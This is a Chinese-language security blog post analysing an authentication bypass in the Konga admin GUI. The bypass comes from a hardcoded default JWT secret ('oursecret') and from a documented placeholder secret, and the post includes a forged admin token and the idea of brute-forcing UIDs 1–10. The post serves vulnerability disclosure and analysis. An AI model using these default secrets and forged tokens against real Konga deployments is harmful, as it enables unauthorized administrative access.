Konga 任意用户登录 分析

作者: print("") 分类: 信息安全 发布时间: 2021-07-19 15:23

首先是Docker 启动Konga 

 docker run -p 1334:1337 --name konga2  pantsel/konga

然后注册一个管理员登录进去

会返回一个token。然后利用这个token 是可以访问任意接口的

根据上面的特征。首先找到怎么生成的token

首先找到

然后进入到AuthController.js

发现是通过UID 进行jwt加密返回的

            token: sails.services.token.issue(_.isObject(user.id) ? JSON.stringify(user.id) : user.id)

然后跟踪一下jwt加密的时候的key

https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/services/Token.js

module.exports.issue = function issue(payload) {
    sails.log.verbose(__filename + ':' + __line + ' [Service.Token.issue() called]');

    return jwt.sign(
        payload, // This is the payload we want to put inside the token
        process.env.TOKEN_SECRET || "oursecret" // Secret string which will be used to sign the token
    );
};

默认key 是oursecret

然后把获取的token放到jwt.io 中

然后如果是docker启动的。直接复制粘贴过来的那么他的key 为{{somerandomstring}}

 docker run -p 1337:1337 –name konga -e “TOKEN_SECRET={{somerandomstring}}” pantsel/konga

那么得到jwt如下

eyJhbGciOiJIUzI1NiJ9.MQ.05_j6ykO7AAAYf7jdieAnxS1H1khQv8E7s125CiIbx4

总结:

1.默认key的危害有点大。

2.利用思路爆破1-10的UID

参考:

漏洞百出知识星球

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注